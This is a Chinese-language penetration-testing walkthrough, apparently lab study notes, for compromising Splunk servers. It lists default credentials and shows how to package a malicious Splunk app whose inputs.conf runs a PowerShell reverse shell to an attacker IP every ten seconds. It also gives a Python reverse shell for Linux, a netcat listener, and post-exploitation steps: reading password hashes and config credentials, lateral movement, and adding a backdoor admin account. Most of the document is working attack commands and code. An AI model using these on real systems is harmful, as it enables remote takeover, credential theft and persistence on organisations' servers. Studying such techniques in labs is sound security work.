Splunk

我們在評估過程中經常會看到 Splunk,尤其是在大型企業環境中的內部滲透測試期間。我們也曾見過它暴露在外部,但是這種情況比較少見。 Splunk 不存在太多可利用的漏洞,並且能夠快速修補任何問題。在評估期間,Splunk 的最大關注點是弱身份驗證或空身份驗證,因為 Splunk 的管理員存取權限使我們能夠部署自訂應用程序,這些應用程式可用於快速入侵 Splunk 伺服器,並且根據 Splunk

1. 發現點

  • Nmap 掃描

nmap -p8000,8089 -sV <target>

開放 8000(Web UI)、8089(REST API)

  • 嘗試登入:

http://splunk.inlanefreight.local:8000
  • 常見弱密碼: admin:changemeadmin:Welcome1admin:password123

  • 如果試用版過期 → 轉成 Splunk Free,無需身份驗證!

  • 如果成功登入,就可以上傳 App、執行 Python、PowerShell 腳本。

2. 濫用內建功能

Splunk 允許安裝「自訂 App」,而 App 裏面可以包含 inputs.conf 指定定時執行 script。

(A) Clone 攻擊模板 Repo:

git clone https://github.com/0xjpuff/reverse_shell_splunk.git

裏面已經有好用嘅 Splunk App 結構同示範反向 shell 腳本。


(B) 編輯反向 shell 腳本

進入目錄:

cd reverse_shell_splunk/reverse_shell_splunk/bin

用你鍾意嘅編輯器開 run.ps1

# 找到 attacker_ip_here、attacker_port_here
# 改成你本機 IP 同 port
$client = New-Object System.Net.Sockets.TCPClient("PWNIP",PWNPO)

⚠ 例子:

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.15",443)

(C) 檢查 inputs.conf

reverse_shell_splunk/reverse_shell_splunk/default/inputs.conf 應該長這樣:

[script://.\bin\run.bat]
disabled = 0
interval = 10
sourcetype = shell
  • 代表 Splunk 會每 10 秒執行 run.bat

  • run.bat 會調用 run.ps1,執行 PowerShell 反彈 shell。


(D) 打包成 splunk app 檔案:

tar -cvzf updater.tar.gz reverse_shell_splunk/

3️⃣ 上傳 & 觸發

  • 開瀏覽器登入 Splunk:

http://splunk.<target>.local:8000
  • Splunk 一啟用 App,就會執行 inputs.conf 指定腳本。

  • 選:Manage Apps → Install app from file → 選 updater.tar.gz → Upload


(E) 開啟監聽器:

sudo nc -lnvp 443

然後登入 Splunk Web UI App → Manage Apps → Install App from File 上傳 updater.tar.gz

  • App 被啟用後,每 10 秒會執行腳本,Netcat 會接收到 SYSTEM 權限反彈 shell。


3️⃣ Linux 系統同樣方法

  • rev.py 成 Python 反向 shell:

import socket,os,pty
s=socket.socket()
s.connect(("你的IP",443))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")
  • 同樣打包 splunk_shell 資料夾,透過 Web UI 上傳,即可 RCE。

3. Splunk CVE 利用方向

  • Splunk 曾有 SSRF 漏洞(可繞過 API 權限)

  • CVE-2018-11409:可以利用 dashboard XML 文件進行 RCE

  • 如果 REST API 無需驗證,可以用 API 呼叫將惡意 App 上傳或注入 script

4. 連鎖漏洞

已取得 RCE 後可以做嘅事
操作

Windows 主機

檢查 whoami → 如果 SYSTEM 權限,即可嘗試 dump 域憑證

搜索域帳號 / 密碼

dir C:\Program Files\Splunk\etc\ 找 config,有可能 plaintext 密碼

Linux 主機

cat /opt/splunk/etc/passwd 文件(存 local users hash)

內網掃描

使用 pingnmapnet viewnet group /domain

橫向移動

試試用抓到嘅憑證 WinRM / RDP / SMB

提權

schtasks /querywmic 查有冇可寫服務

持久化

建立新 admin 使用者 net user pwned P@ssw0rd /add

最后更新于

这有帮助吗?